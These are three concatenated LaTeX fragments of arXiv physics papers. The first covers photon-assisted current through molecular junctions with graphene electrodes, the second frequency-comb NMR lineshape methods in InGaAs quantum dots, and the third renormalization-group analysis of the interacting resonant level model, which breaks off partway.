\bar{\gamma}_{G_{L}\sigma,m}^{(n)\pm}=\frac{\gamma_{0}}{\pi}[\pm
\frac{(\varepsilon_{m}-e\varphi_{pot,L})}{\hbar\omega}-n]
\label{eq:new_gamma^(n)+-
\end{equation}
where $\gamma_{0}=|V_{\mathbf{p\pm,}\sigma;m}|^{2}s\omega/(2\hbar^{2}v^{2})$,
and the expression in the square brackets is proportional to the DOS for
graphene that is proportional to energy \cite{Novoselov09RMP}. The current,
Eq.(\ref{eq:I_R_special}), calculated in the linear regime using
Eq.(\ref{eq:new_gamma^(n)+-}), as a function of applied voltage bias is shown
in Fig.\ref{fig:weak_field}. In our calculations temperature $T=0$, and the
leads chemical potentials in the biased junction were taken to align
symmetrically with respect to the energy level $\varepsilon_{m}$
\cite{Li_Fai12Nano_Let}, i.e., $\mu+e\varphi_{0}/2$ for the left lead, and
$\mu-e\varphi_{0}/2$ for the right lead ($e\varphi_{0}\geq0$, $e\varphi
_{pot,(L,R)}=\pm e\varphi_{0}/2$) where $\mu=\varepsilon_{m}$ for both leads.
Both curves of Fig.\ref{fig:weak_field} show photon assisted current -
\begin{figure}
[ptb]
\begin{center}
\includegraphics[
height=3.4359in,
width=3.6703in
{IRweak_n+p2.eps
\caption{Current in the linear regime for n-doped ($\mu>0$, solid) and p-doped
($\mu<0$, dashed) graphene electrode as a function of applied voltage bias.
$|\varepsilon_{m}|=3\hbar\omega$, $\alpha=0.7$.
\label{fig:weak_field
\end{center}
\end{figure}
the steps when the potential of the graphene electrode achieves the value
corresponding to the photon energy. The steps are found on the background that
decreases linearly for a n-doped graphene electrode and increases linearly for
a p-doped electrode when $e\varphi_{0}$ increases. This is related to the
linear dependence of DOS on energy. Fig.\ref{fig:photonic_replica} shows our
model together with the photonic replica of the graphene electrodes and
elucidates the behavior observed in Fig.\ref{fig:weak_field}.
When the interaction with external field is not small, $\alpha\geq1$, the
linear consideration does not apply. In case of large momenta (far from the
Dirac point), $b<<1$, Eq.(\ref{eq:new_gamma^(n)+-}) applies, and we get from
Eq.(\ref{eq:expansionBessel}) $\left\vert c_{l}(p,\theta)\right\vert
^{2}=J_{l}^{2}(\alpha\cos\theta)$. The current, Eq.(\ref{eq:I_R_special}),
calculated for large momenta when $\alpha=3$, as a function of applied voltage
bias is shown in Fig.\ref{fig:large_momentum_n+p-doped}. The number of steps
and their heights increase in comparison with the linear case
\begin{figure}
[ptb]
\begin{center}
\includegraphics[
height=3.3105in,
width=3.4151in
{IRlarge_p_n+p-doped.eps
\caption{Current in the case of large momenta for n-doped ($\mu>0$, solid) and
p-doped ($\mu<0$, dashed) graphene electrode as a function of applied voltage
bias. $|\varepsilon_{m}|=20\hbar\omega$, $\alpha=3$.
\label{fig:large_momentum_n+p-doped
\end{center}
\end{figure}
\subsection{Calculations of Current including Small Momenta}
To calculate coefficients $c_{l}(p,\theta)$, Eq.(\ref{eq:c_l(p,teta)}), in
general case, we need to know quasienergy $\varepsilon(p,\theta)$. The latter
may be found as zero harmonic of the Fourier cosine series of normal momentum
$\bar{p}(t)$ on the left-hand side of Eq.(\ref{eq:c_l(p,teta)}). Consider
first limiting points $\theta=0,\pi$ when the momentum is parallel to the
electric field. Then the quasienergy weighted per the work done by the
electric field during one fourth of period is equal to $\bar{\varepsilon
}(p;\theta=0,\pi)\equiv\varepsilon(p;\theta=0,\pi)/(evE_{0}/\omega)=[1/(2\pi
b)]\int_{-\pi}^{\pi}dx\left\vert 1\pm b\sin x\right\vert $. If $b<1$,
$\bar{\varepsilon}(p;\theta=0,\pi)=1/b\sim vp$ like above. When $b>1$,
\begin{equation}
\bar{\varepsilon}(p;\theta=0,\pi)=\frac{2}{\pi b}[\arcsin(\frac{1}{b
)+\sqrt{1-\frac{1}{b^{2}}}] \label{eq:epsilon(p,teta=0,Pi)
\end{equation}
that gives for $b>>1$
\begin{equation}
\varepsilon(p;\theta=0,\pi)=\frac{1}{\pi}[2\alpha\hbar\omega+\frac{(vp)^{2
}{evE_{0}/\omega}] \label{eq:epsilon(p,teta=0,Pi;b>>1)
\end{equation}
- a quadratic dependence of $\varepsilon(p;\theta=0,\pi)$ on $vp$ for small
$vp$ or large $evE_{0}/\omega$ accompanied by opening the gap $4\alpha
\frac{\hbar\omega}{\pi}$ (see Fig.\ref{fig:quasienergy} below). This gap is
different from those predicted in Refs.\cite{Efetov08PRB},
\cite{Oka_Aoki09PRB}, which are induced by interband transitions in an undoped
graphene. In contrast, a semiclassical approximation used in our work is
correct for doped graphene when $\hbar\omega<2\mu$ \cite{Mikhailov07EPL}, and
as a consequence, interband transitions are excluded. Therefore, in our case
the gap is induced by intraband processes. When $\varepsilon(p;\theta=0,\pi)$
is defined by Eq.(\ref{eq:epsilon(p,teta=0,Pi;b>>1)}), quantities $\bar
{\gamma}_{G_{L}\sigma,m}^{(n)\pm},$ Eq.(\ref{eq:general_gamma^(n)+-}), become
$\bar{\gamma}_{G_{L}\sigma,m}^{(n)\pm}=\alpha\gamma_{0}/4$ that do not depend
on $n$ and are proportional to $\alpha$
\begin{figure}
[ptb]
\begin{center}
\includegraphics[
height=2.8928in,
width=3.5379in
{abs_cl.eps
\caption{The logarithm of the absolute values of Fourier-coefficients
$c_{l}(p;\theta=0,\pi)$ (solid line) versus harmonic number $l$ for n-doped
graphene contact ($\mu>0$) and $\alpha=0.5$, $b=1.43>1$. For comparison we
also show $|J_{l}(\alpha)|$ (dashed line). We use the continuous variable $l$
though $l$ takes only the whole values.
\label{fig:abs(cl),theta=0
\end{center}
\end{figure}
Fig.\ref{fig:abs(cl),theta=0} shows the logarithm of the absolute values of
Fourier-coefficients $c_{l}^{+}(p;\theta=0,\pi)$ for different $l$ calculated
using Eqs.(\ref{eq:c_l(p,teta)}), (\ref{eq:epsilon(p)}) and
(\ref{eq:epsilon(p,teta=0,Pi)}). For comparison we also show the usual
dependence $\left\vert c_{l}(p;\theta=0,\pi)\right\vert =|J_{l}(\alpha)|$. One
can see much slower falling down $\left\vert c_{l}^{+}(p;\theta=0,\pi
)\right\vert $ with harmonics index $l$ in comparison to the usual dependence
that may be explained by the peculiarities of the graphene spectrum.
One can show that $\left\vert c_{l}(p,\theta\right\vert $ falls down as $1/l$
for $b>>1$ and $\alpha<<1$. Indeed, using
Eqs.(\ref{eq:epsilon(p,teta=0,Pi;b>>1)}) and
(\ref{eq:epsilon(p,teta=Pi/2;b>>1)}), one can obtain for Fourier-coefficients
$c_{l}(p,\theta)$, Eq.(\ref{eq:c_l(p,teta)}),
\begin{equation}
c_{l}(p,\theta)=\frac{1}{\pi}\operatorname{Re
{\displaystyle\int\limits_{0}^{\pi}}
\exp[i\alpha(\cos\tau-1)+i\tau(l+\frac{2\alpha}{\pi})]d\tau\label{eq:c_l
\end{equation}
when $b>>1$ (small momenta). To calculate integral on the right-hand side of
Eq.(\ref{eq:c_l}), we use expansion, Eq.(\ref{eq:expansion1}), that give
\begin{equation}
c_{l}(p,\theta)=\frac{2}{\pi}\sum_{n=-\infty}^{\infty}\frac{J_{n}(\alpha
)}{l+\frac{2\alpha}{\pi}+n}\left\{
\begin{array}
[c]{c
(-1)^{n/2}\sin\alpha\text{, }n\text{ is even}\\
(-1)^{\frac{n+1}{2}+1}\cos\alpha\text{, }n\text{ is odd
\end{array}
\right\} \label{eq:c_l2
\end{equation}
where $l=2k$ is even. If $l=2k+1$, $c_{l}(p,\theta)=0$. Eq.(\ref{eq:c_l2})
gives $c_{0}(p,\theta)\simeq1$ an
\begin{equation}
c_{l}(p,\theta)\simeq\frac{2\alpha}{\pi}(\frac{1}{l}+\frac{l}{l^{2}-1}),\text{
}l\geqslant2 \label{eq:c_l3
\end{equation}
for $\alpha<<1$. Eq.(\ref{eq:c_l3}) shows that $c_{l}(p,\theta)\sim1/l$ for
$l>2$. Such a behaviour is due to stronly non-linear EM response of graphene,
which could also work as a frequency multiplier \cite{Mikhailov07EPL}. Our
approach enables us to understand the origin of this non-linear response that
arises due to modification of graphene gapless spectrum in the external EM field.
Consider now the middle point $\theta=\pi/2$ when the momentum is
perpendicular to the electric field. In that case one can show that
\begin{align}
\bar{\varepsilon}(p;\theta & =\pi/2)=\frac{1}{2\pi b}\int_{-\pi}^{\pi
dx\sqrt{1+b^{2}\sin^{2}x}=\nonumber\\
& =\frac{2}{\pi}\sqrt{1+b^{-2}}E[(1+b^{-2})^{-1/2}]
\label{eq:epsilon(p,teta=Pi/2)
\end{align}
where $E(x)$ is the complete elliptic integral of the second kind
\cite{Abr64}. If $b\ll1$, $\bar{\varepsilon}(p,\pi/2)=1/b$ like before. When
$b>>1$, we get
\begin{equation}
\varepsilon(p,\theta=\frac{\pi}{2})=\frac{1}{\pi}\{2\alpha\hbar\omega
+[\frac{1}{2}+2\ln(2\sqrt{\frac{eE_{0}}{\omega p}})]\frac{(vp)^{2}
{evE_{0}/\omega}\} \label{eq:epsilon(p,teta=Pi/2;b>>1)
\end{equation}
where the dependence of $\varepsilon(p,\pi/2)$ on $p$ for small $p$ (or large
$eE_{0}/v)$ differs from quadratic one (cf. with
Eq.(\ref{eq:epsilon(p,teta=0,Pi;b>>1)})). Hence, the quasienergy becomes
anisotropic, however, its formation is accompanied by opening the same
dynamical gap $4\alpha\frac{\hbar\omega}{\pi}$ as for $\theta=0,\pi$.
Quasienergies $\bar{\varepsilon}(p;\theta=0,\pi,\pi/2)$ defined by
Eqs.(\ref{eq:epsilon(p,teta=0,Pi)}) and (\ref{eq:epsilon(p,teta=Pi/2)}) as
functions of $1/b=vp/(eE_{0}v/\omega)$ are shown in Fig.\ref{fig:quasienergy}.
They are equal to $2/\pi$ for zero momentum, then increase as $\sim(vp)^{2}$
for $\theta=0,\pi$, Eq.(\ref{eq:epsilon(p,teta=0,Pi;b>>1)}), and according to
Eq.(\ref{eq:epsilon(p,teta=Pi/2;b>>1)}) for $\theta=\pi/2$. The law,
Eq.(\ref{eq:epsilon(p,teta=0,Pi)}), for $\theta=0,\pi$ gives way to linear one
when $1/b=1$, and quasienergy for $\theta=\pi/2$ also tends to linear one when
$1/b>>1$ (large momenta)
\begin{figure}
[ptb]
\begin{center}
\includegraphics[
height=3.397in,
width=3.4566in
{quasienergy.eps
\caption{Quasienergies $\bar{\varepsilon}(p;\theta)$ for $\theta=0,\pi$ (solid
line) and $\pi/2$ (dashed line) as functions of $1/b=p\omega/(eE_{0})$.
\label{fig:quasienergy
\end{center}
\end{figure}
\section{Conclusion and Outlook}
Here we have proposed and explored theoretically a new approach to coherent
control of electric transport via molecular junctions, using graphene
electrodes. Our approach is based on the excitation of dressed states of the
doped graphene with electric field that is parallel to its surface, having
used unique properties of the graphene. We have calculated a semiclassical
wave function of a doped graphene under the action of EM excitation and the
current through a molecular junction with graphene electrodes using
non-equilibrium Green functions. We have shown that using graphene electrodes
can essentially enhance currents evaluated at side-band energies $\sim
n\hbar\omega$ in molecular nanojunctions that is related to the modification
of the graphene gapless spectrum under the action of external EM field. We
have calculated the corresponding quasienergy spectrum that is accompanied
with opening the gap induced by intraband excitations.
If one shall use an electric field that is \textit{perpendicular} to the
graphene sheet, the field can excite $p$-polarized surface plasmons
propagating along the sheet with very high levels of spatial confinement and
large near-field enhancement \cite{Abajo11NL,Chen12Nature,Fei12Nature}.
Furthermore, surface plasmons in graphene have the advantage of being highly
tunable via electrostatic gating
\cite{Mak08PRL,Chen8Nature,Abajo11NL,Chen12Nature,Fei12Nature,Cox12PRB}. These
plasmon oscillations can enhance the dipole light-matter interaction in a
molecular bridge resulting in much more efficient control of photocurrent
related to the processes occurring in the molecular bridge under the action of
EM field polarized along the bridge
\cite{Kohler05,Kleinekathofer06EPL,Li07EPL,Li08SSP,Fainberg13CPL}. By this
means\ a side benifit of using doped graphene electrodes in molecular
nanojunctions is the \textit{polarization control} of the processes occurring
either in the graphene electrodes (if the electric field is parallel to the
graphene sheet) or in the molecular bridge (if the electric field is
perpendicular to the graphene sheet). Such selectivity may be achieved by
changing the polarization of an external EM field. This issue will be studied
in more detail elsewhere.
\begin{acknowledgments}
The work has been supported in part by the US-Israel Binational Science
Foundation (grant No. 2008282). The author thanks A. Nitzan for useful discussion.
\end{acknowledgments}
|
1,477,468,750,050 | arxiv | \section{\label{sec:Methods} Methods Summary}
\textbf{Sample structures and experimental techniques} The
experiments were performed on individual neutral self-assembled
InGaAs/GaAs quantum dots. The sample was mounted in a helium-bath
cryostat ($T$=4.2~K) with a magnetic field $B_\textrm{z}=8$~T
applied in the Faraday configuration (along the sample growth and
light propagation direction $Oz$). Radio-frequency (rf) magnetic
field $B_\textrm{rf}$ perpendicular to $B_\textrm{z}$ was induced
by a miniature copper coil. Optical excitation was used to induce
nuclear spin magnetization exceeding 50\%, as well as to probe it
by measuring hyperfine shifts in photoluminescence
spectroscopy\cite{QNMRNatNano}.
Two sample structures have been studied, both containing a single
layer of InGaAs/GaAs quantum dots embedded in a weak planar
microcavity with a Q-factor of $\sim$250. In one of the samples
the dots emitting at $\sim945$~nm were placed in a $p-i-n$
structure, where application of a large reverse bias during the rf
excitation ensured the neutral state of the dots. The results for
this sample are shown in Fig. \ref{fig:MSResults}. The second
sample was a gate-free structure, where most of the dots emitting
at $\sim914$~nm are found in a neutral state, although the
charging can not be controlled. Excellent agreement between the
lineshapes of both $^{71}$Ga and $^{75}$As in the two structures
was found, confirming the reproducibility of the frequency-comb
technique.
\textbf{Homogeneous lineshape theoretical model.} Let us consider
an ensemble of spin $I=1/2$ nuclei with gyromagnetic ratio
$\gamma$ and inhomogeneously broadened distribution of nuclear
resonant frequencies $\nu_\textrm{nuc}$. We assume that each
nucleus has a homogeneous absorption lineshape $L(\nu)$, with
normalization $\int_{-\infty}^{+\infty}L(\nu)d\nu=1$.
A small amplitude (non-saturating) rf field will result in
depolarisation, which can be described by a differential equation
for population probabilities $p_{\pm1/2}$ of the nuclear spin
levels $I_\textrm{z}=\pm1/2$
\begin{eqnarray}
d(p_{+1/2}-p_{-1/2})/dt=-W(p_{+1/2}-p_{-1/2}).\label{eq:RFDepODE}
\end{eqnarray}
For frequency-comb excitation the decay rate is the sum of the
decay rates caused by each rf mode with magnetic field amplitude
$B_\textrm{1}$, and can be written as:
\begin{eqnarray}
W(\nu_\textrm{nuc})=\frac{\gamma^2B_\textrm{1}^2}{2f_\textrm{CP}}\sum_{j=0}^{N_\textrm{m}-1}
L(\nu_\textrm{nuc}-\nu_1-j
f_\textrm{CP})f_\textrm{CP},\label{eq:RFDepRate}
\end{eqnarray}
where the summation goes over all modes with frequencies
$\nu_\textrm{j}=\nu_\textrm{1}+j f_\textrm{CP}$ ($\nu_\textrm{1}$
is the frequency of the first spectral mode).
The change in the Overhauser shift $E_{\textrm{hf}}$ produced by
each nucleus is proportional to $p_{+1/2}-p_{-1/2}$ and according
to Eq. \ref{eq:RFDepODE} has an exponential time dependence
$\propto \exp(-W(\nu_\textrm{nuc})t)$. The quantum dot contains a
large number of nuclear spins with randomly distributed absorption
frequencies. Therefore to obtain the dynamics of the total
Overhauser shift we need to average over $\nu_\textrm{nuc}$, which
can be done over one period $f_\textrm{CP}$ since the spectrum of
the rf excitation is periodic. Furthermore, since the total width
of the rf frequency comb $\Delta\nu_\textrm{comb}$ is much larger
than $f_\textrm{CP}$ and $\Delta\nu_\textrm{hom}$, the summation
in Eq. \ref{eq:RFDepRate} can be extended to $\pm\infty$. Thus,
the following expression is obtained for the time dependence
$\Delta E_{\textrm{hf}}(t,f_\textrm{CP})$, describing the dynamics
of the rf-induced nuclear spin depolarisation:
\begin{eqnarray}
\begin{aligned}
&\frac{\Delta E_{\textrm{hf}}(t,f_\textrm{CP})}{\Delta
E_\textrm{hf}(t\rightarrow\infty)}=1-
f_\textrm{CP}^{-1}\int\limits_0^{f_\textrm{CP}}\exp\left(-t
\frac{\gamma^2B_\textrm{1}^2}{2f_\textrm{CP}}
\sum_{j=-\infty}^{\infty} L(\nu_\textrm{nuc}-j
f_\textrm{CP})f_\textrm{CP}\right)d\nu_\textrm{nuc}.
\label{eq:MSRFDec}
\end{aligned}
\end{eqnarray}
Equation \ref{eq:MSRFDec} describes the dependence $\Delta
E_{\textrm{hf}}(t,f_\textrm{CP})$ directly measurable in
experiments such as shown in Fig. \ref{fig:MSResults}b. $\Delta
E_\textrm{hf}(t\rightarrow\infty)$ is the total optically induced
Overhauser shift of the studied isotope and is also measurable,
while $f_\textrm{CP}$ and $B_\textrm{1}$ are parameters that are
controlled in the experiment. We note that in the limit of small
comb period $f_\textrm{CP}\rightarrow0$ the infinite sum in Eq.
\ref{eq:MSRFDec} tends to the integral
$\int_{-\infty}^{+\infty}L(\nu)d\nu=1$ and the Overhauser shift
decay is exponential (as observed experimentally) with a
characteristic time
\begin{eqnarray}
\begin{aligned}
\tau=2f_\textrm{CP}/(\gamma^2B_\textrm{1}^2) \label{eq:ExpDecRate}
\end{aligned}
\end{eqnarray}
Equation \ref{eq:MSRFDec} is a Fredholm's integral equation of the
first kind on the homogeneous lineshape function $L(\nu)$. This is
an ill-conditioned problem: as a result finding the lineshape
requires some constraints to be placed on $L(\nu)$. Our approach
is to use a model lineshape of Eq. \ref{eq:kLineshape}. After
substituting $L(\nu)$ from Eq. \ref{eq:kLineshape}, the right-hand
side of Eq. \ref{eq:MSRFDec} becomes a function of the parameters
$\Delta\nu_\textrm{hom}$ and $k$ which we then find by
least-squares fitting of Eq. \ref{eq:MSRFDec} to the experimental
dependence $\Delta E_{\textrm{hf}}(t,f_\textrm{CP})$.
This model is readily extended to the case of $I>1/2$ nuclei. Eq.
\ref{eq:RFDepODE} becomes a tri-diagonal system of differential
equations, and the solution (Eq. \ref{eq:RFDepRate}) contains a
sum of multiple exponents under the integral. These modifications
are straightforward but tedious and can be found in Supplementary
Note 2.
\textbf{Derivation of the nuclear spin bath correlation times.}
Accurate lineshape modeling is crucial in revealing the $^{75}$As
homogeneous broadening arising from $^{71}$Ga ''heating''
excitation (as demonstrated in Figs. \ref{fig:MSTwoComb}a, b).
However, since a measurement of the full $\Delta
E_{\textrm{hf}}(t,f_\textrm{CP})$ dependence is time consuming,
the experiments with variable $^{71}$Ga excitation amplitude
$\beta_1$ (Fig. \ref{fig:MSTwoComb}c) were conducted at fixed
$f_\textrm{CP}=1.47$~kHz exceeding noticeably the $^{75}$As
homogeneous linewidth $\Delta\nu_{\textrm{hom}}\approx117$~Hz. To
extract the arsenic depolarisation time $\tau_\textrm{As}$ we fit
the arsenic depolarisation dynamics $\Delta E_{\textrm{hf}}(t)$
with the following formulae: $\Delta
E_{\textrm{hf}}(t_\textrm{rf})=\Delta
E_\textrm{hf}(t_\textrm{rf}\rightarrow\infty)(1-\exp[-(t_\textrm{rf}/\tau_\textrm{As})^r])$,
using $r$ as a common fitting parameter and $\tau_\textrm{As}$
independent for measurements with different $\tau_\textrm{Ga}$. We
find $r\approx0.57$, while the dependence $\tau_\textrm{As}$ on
$\tau_\textrm{Ga}$ obtained from the fit is shown in Fig.
\ref{fig:MSTwoComb}c with error bars corresponding to 95\%
confidence intervals.
The period of the $^{71}$Ga ''heating'' frequency comb is kept at
a small value $f_\textrm{CP}=150$~Hz ensuring uniform excitation
of all nuclear spin transitions. The amplitude of the ''heating''
comb is defined as $\beta_1=B_1/\sqrt{f_\textrm{CP}}$, where $B_1$
is magnetic field amplitude of each mode in the comb (further
details can be found in Supplementary Note 1). To determine the
correlation times we express $\beta_1$ in terms of the rf-induced
spin-flip time $\tau_{\textrm{Ga}}$. The $\tau_{\textrm{Ga}}$ is
defined as the exponential time of the $^{71}$Ga depolarisation
induced by the ''heating'' comb and is derived from an additional
calibration measurement. The values of $\beta_1$ shown in Fig.
\ref{fig:MSTwoComb}c correspond to the experiment on the CT and
are calculated using Eq. \ref{eq:ExpDecRate} as
$\sqrt{2/(4\gamma^2\tau_{\textrm{Ga}})}$, where $\gamma$ is the
$^{71}$Ga gyromagnetic ratio and $\tau_{\textrm{Ga}}$ is
experimentally measured. The additional factor of 4 in the
denominator is due to the matrix element of the CT of spin
$I=3/2$. For experiments on ST the $\beta_1$ values shown in Fig.
\ref{fig:MSTwoComb}c must be multiplied by $\sqrt{4/3}$.
\textbf{ACKNOWLEDGMENTS} The authors are grateful to K.V. Kavokin
for useful discussions. This work has been supported by the EPSRC
Programme Grant EP/J007544/1, ITN S$^3$NANO. E.A.C. was supported
by a University of Sheffield Vice-Chancellor's Fellowship. I.F.
and D.A.R. were supported by EPSRC.
\textbf{ADDITIONAL INFORMATION} Correspondence and requests for
materials should be addressed to A.M.W (a.waeber@sheffield.ac.uk)
or E.A.C. (e.chekhovich@sheffield.ac.uk).
|
1,477,468,750,051 | arxiv | \section{Introduction}Recent progress in the ability to engineer
nanostructured devices has opened new possibilities for studying the
finite-bias transport characteristics of such systems. As the electrons
occupying the nanostructure are spatially confined, local Coulomb correlations
strongly affect the physics, and understanding non-equilibrium phenomena in
systems with local two-particle interactions is therefore of fundamental importance. In
an attempt to investigate simplified cases first, one can distinguish between
situations in which either charge or spin fluctuations dominate. The latter case is described
by the Kondo model, and progress in understanding its non-equilibrium physics was made
recently (for a review see Ref.~\cite{S}). We here consider the other situation and study
a minimal model for a quantum dot dominated by charge
fluctuations---the interacting resonant level model (IRLM). It
describes a spinless localized level at energy $\epsilon$ coupled to two leads
by electron hoppings $t_\alpha$ and local Coulomb repulsions $u_\alpha$ (see Fig.~\ref{figmodel}). The
lead electrons are assumed to be (effectively) non-interacting and held at two
different chemical potentials $\mu_\alpha=\pm V/2$, with $\alpha=L,R$ denoting
the left and right lead and $V$ being the bias voltage.
The steady-state current $I$ of
the IRLM was studied intensively during the last few years using
various techniques including the scattering Bethe Ansatz~\cite{B},
perturbative and numerical renormalization group (NRG) methods ~\cite{BSZ},
the Hershfield $Y$-operator~\cite{D}, the time-dependent density matrix
renormalization group (tDMRG) method~\cite{BSS} as well as sophisticated
field theory approaches~\cite{BS,BSS}.
These studies were mostly performed at the non-generic point of
particle-hole and left-right symmetry, which can hardly be realized in experiments.
It was concluded that at sufficiently large $V$, $I$ decreases as a power law. Similar
power laws were found in equilibrium and it was
suggested that $V$ is just another infrared energy cutoff (in addition
to, e.g., $t_\alpha$ or temperature), leading to
the speculation that the IRLM does not contain any interesting
non-equilibrium physics \cite{BSZ}.
Exploring the entire parameter space we show analytically that this
conclusion is too restrictive. We uncover rich non-equilibrium physics beyond
the situation where the voltage $V$ acts as a simple low-energy cutoff associated with a power-law behavior of the current.
However, in the limit of strong left-right asymmetry, which can be easily realized
experimentally, we find generic power-law scaling of $I$ for large $V$, in particular also away from particle-hole symmetry.
In addition, we provide an analytic description of the relaxation dynamics
of the system into the steady state after switching on the
level-lead coupling at time $t=0$. Two different relaxation rates control the exponential decay
which is
accompanied by oscillatory behavior with a voltage-dependent frequency and
power-law decay with an exponent depending on $u_\alpha$.
Describing the time evolution of a
locally correlated electron system is as challenging as
understanding the non-equilibrium steady state current. Various numerical
techniques like time-dependent NRG~\cite{TD-NRG} and tDMRG~\cite{TD-DMRG}, an
iterative path-integral method~\cite{W}, and a non-equilibrium Monte Carlo
approach~\cite{Sch} were developed. Certain exactly solvable models were discussed~\cite{E},
and a perturbative renormalization group (RG) method~\cite{KS,PSS} as well as a flow equation
approach~\cite{KT} were applied. However, these studies do not cover
charge-fluctuating, correlated quantum dots.
\begin{figure}[t]
\centering
\includegraphics[width=0.8\linewidth,clip]{model.eps}
\caption{The interacting resonant level model discussed in this work.}
\label{figmodel}
\end{figure}
In this Letter, we use two RG methods to investigate
the IRLM. While both are bound to the case of weak Coulomb
interactions, they are complementary in other aspects. Within the
functional RG (FRG), which was recently extended to non-equilibrium~\cite{FRGnonequi},
the steady state can be studied for arbitrary system parameters. In particular, this
allows for a comparison to highly accurate tDMRG data obtained for hoppings which are too
large to be deep in the scaling limit~\cite{BSS}, the latter being realized for large
band width and small $t_\alpha$. For small interactions, we find
excellent agreement (see Fig.~\ref{fig:fig2}(a)). In the scaling limit, the
FRG results and the ones obtained by the real-time renormalization group in
frequency space (RTRG-FS)~\cite{S} coincide (see Figs.~\ref{fig:fig1} and
\ref{fig:fig3}). The latter method was earlier applied to systems dominated
by spin fluctuations~\cite{RTRGKondo}.
In contrast to the FRG, RTRG-FS can only be used in the scaling limit, but on the
other hand allows for an analytical description not only of the steady state but also of
the relaxation dynamics. The combined use of both RG approaches leads to a reliable and
comprehensive picture of the non-equilibrium physics under consideration. In particular,
we identify the various microscopic cutoff scales, which is essential for
the precise determination of the scaling behavior of observables.
\section{Model and RG equations}The Hamiltonian of the IRLM (see Fig.~\ref{figmodel}) is given by
$H=H_{l}+H_d+H_{c}$, where $H_{l}=\sum_{k\alpha}(\epsilon_k+\mu_\alpha)
a_{k\alpha}^\dagger a_{k\alpha}$ describes two semi-infinite fermionic leads
which are held at $\mu_{L/R}=\pm V/2$, respectively. Standard second quantized
notation is used, and the energies $\epsilon_{k\alpha}$ are restricted to a
finite band of width $B$. In the scaling limit, the details of the frequency
dependence of the lead local density of states $\rho_{\alpha}$ do
not play any role as long as it is sufficiently regular for energies of the order of
$V$ and smaller. When comparing to tDMRG data \cite{BSS}, we employ the
semi-circular $\rho_\alpha(\omega)$ associated with simple tight-binding chains
(which are used in tDMRG). The dot Hamiltonian reads $H_d=\epsilon \hat n $
with $\hat n =c^\dagger c$, and this single fermionic level is coupled to the leads via
$H_c=\sum_{k\alpha}t_\alpha (a_{k\alpha}^\dagger
c+{\rm H.c.}) + (\hat{n}-\frac{1}{2})\sum_{kk'\alpha}u_\alpha
{:\!a_{k\alpha}^\dagger a_{k'\alpha}\!:}$, where $:\ldots:$ denotes
normal-ordering. We stress that in contrast to other studies, the coupling to the
leads is allowed to be asymmetric, which is the situation generically expected
in experiments. Furthermore, we do not only focus on the particle-hole symmetric
point $\epsilon=0$.
Within both RG approaches, coupled differential equations for the flow of the
effective system parameters as a function of an infrared cutoff $\Lambda$ holding up to leading order in $u_{\alpha}$ can
be derived.
Aiming at an analytic discussion, it is instructive to
consider {\it simplified} flow equations for the renormalized steady-state
rates $\Gamma_{\alpha}$ whose bare values are given by $\Gamma_\alpha^0=2\pi
\rho_\alpha t_\alpha^2$. In the scaling limit, both RG approaches give the
same functional form
\begin{equation}
\frac{d \Gamma_{\alpha}}{d \Lambda}=
-2U_{\alpha}\Gamma_{\alpha}\frac{\Lambda+\Gamma/2}
{(\mu_{\alpha}-\epsilon)^2+(\Lambda+\Gamma/2)^2},
\label{eq:RGequation}
\end{equation}
with $U_\alpha=\rho_\alpha u_\alpha$ being the dimensionless interaction,
and $\Gamma=\sum_{\alpha}\Gamma_{\alpha}$. The renormalization
of the level position $\epsilon$ is small and will be neglected.
The RG flow
\eqref{eq:RGequation} is cut off at the scale
$\Lambda_c=\max\{|\mu_{\alpha}-\epsilon|,\Gamma/2 \}$, and an approximate
solution for $\Gamma_{\alpha}$ is given by
\begin{equation}
\label{eq:flow}
\Gamma_{\alpha}=
\Gamma_{\alpha}^0\left(\frac{\Lambda_0}{\Lambda_c}\right)^{2U_{\alpha}},
\end{equation}
where $\Lambda_0 \sim B$ denotes the initial cutoff. At large voltages
$V\gg\Gamma$, we distinguish between the {\it off-resonance} $|V- 2 \epsilon|>\Gamma$
and the {\it on-resonance} $V = 2 \epsilon$ situation
(peak in conductance; see Fig.~\ref{fig:fig3}). In the latter
case, the relevant energy scales cutting off the flow are $\Gamma/2$ for
$\Gamma_L$ and $V$ for $\Gamma_R$.
Similiar to the Kondo model the cutoff parameter
is the maximum of the distance to the resonance
and the corresponding decay rate, i.e. in our
case $\textnormal{max}(|\epsilon \pm V/2|,\Gamma)$. There
is, however, an important difference.
For the Kondo model, even at resonance $V=h$ (the latter being the magnetic
field), there is a weak-coupling expansion parameter, namely
the dimensionless exchange coupling cut off at $\textnormal{max}(V,h)$.
For the IRLM, at $\epsilon = \pm V/2$, the tunneling is not
a weak-coupling expansion parameter since $\Gamma$ is not
dimensionless. This fact constitutes an essential difference between
the description of resonance phenomena in models with
charge and spin fluctuations.
The {\it full} FRG and RTRG-FS flow equations are
presented in Refs.~\cite{KPBM} and \cite{RTlang}, respectively and can
easily be solved on a computer. If not mentioned otherwise, the results shown in
the Figures were obtained in this way (for a comparison to the analytic solution
of the simplified equations see Fig.~\ref{fig:fig2}(b)).
In the scaling limit where $\Lambda_0 \to \infty$ and $\Gamma_{\alpha}^0 \to
0$, the dependence on bare parameters vanishes, and all quantities can be
expressed in terms of the invariant scale $T_K=\sum_{\alpha}T_K^{\alpha}$,
with $T_K^{\alpha} = \Gamma_{\alpha}^0 (2\Lambda_0 / T_K)^{2 U_{\alpha}}$, and
the asymmetry parameter $c^2 = T_K^L/T_K^R$.
Thus, at $V=0$
\begin{equation}
\Gamma=T_K\left[c\left(\frac{T_K}{\Gamma}\right)^{2U_L}
+\frac{1}{c}\left(\frac{T_K}{\Gamma}\right)^{2U_R}\right]\frac{c}{1+c^2},
\label{eq:Gammaeq}
\end{equation}
which has the solution $\Gamma = T_K$ in the symmetric case ($U_L = U_R$,
$c=1$). The corresponding equation for $\Gamma$ at finite $V$ in the off-
(on-) resonance situation is obtained by replacing $\Gamma$'s on the
right-hand side of \eqref{eq:Gammaeq} by $V - 2 \epsilon$ and $V +2 \epsilon$
(by $\Gamma$ and $2 V$). As a result, the rates $\Gamma_{\alpha}$ are
generically characterized by power laws with interaction-dependent exponents.
\begin{figure}[t]
\centering
\includegraphics[width=0.95\linewidth,clip]{fig1.eps}
\caption{(Color online) $I(V)$ for the symmetric model with
$U_L=U_R=0.1/\pi$ obtained from the numerical solution of the full RTRG-FS
(lines) and FRG (symbols) equations; crosses: $\epsilon=0$; stars: $\epsilon=V/2$.}
\label{fig:fig1}
\end{figure}
\begin{figure}[t]
\centering
\includegraphics[width=0.9\linewidth,clip]{fig2.eps}
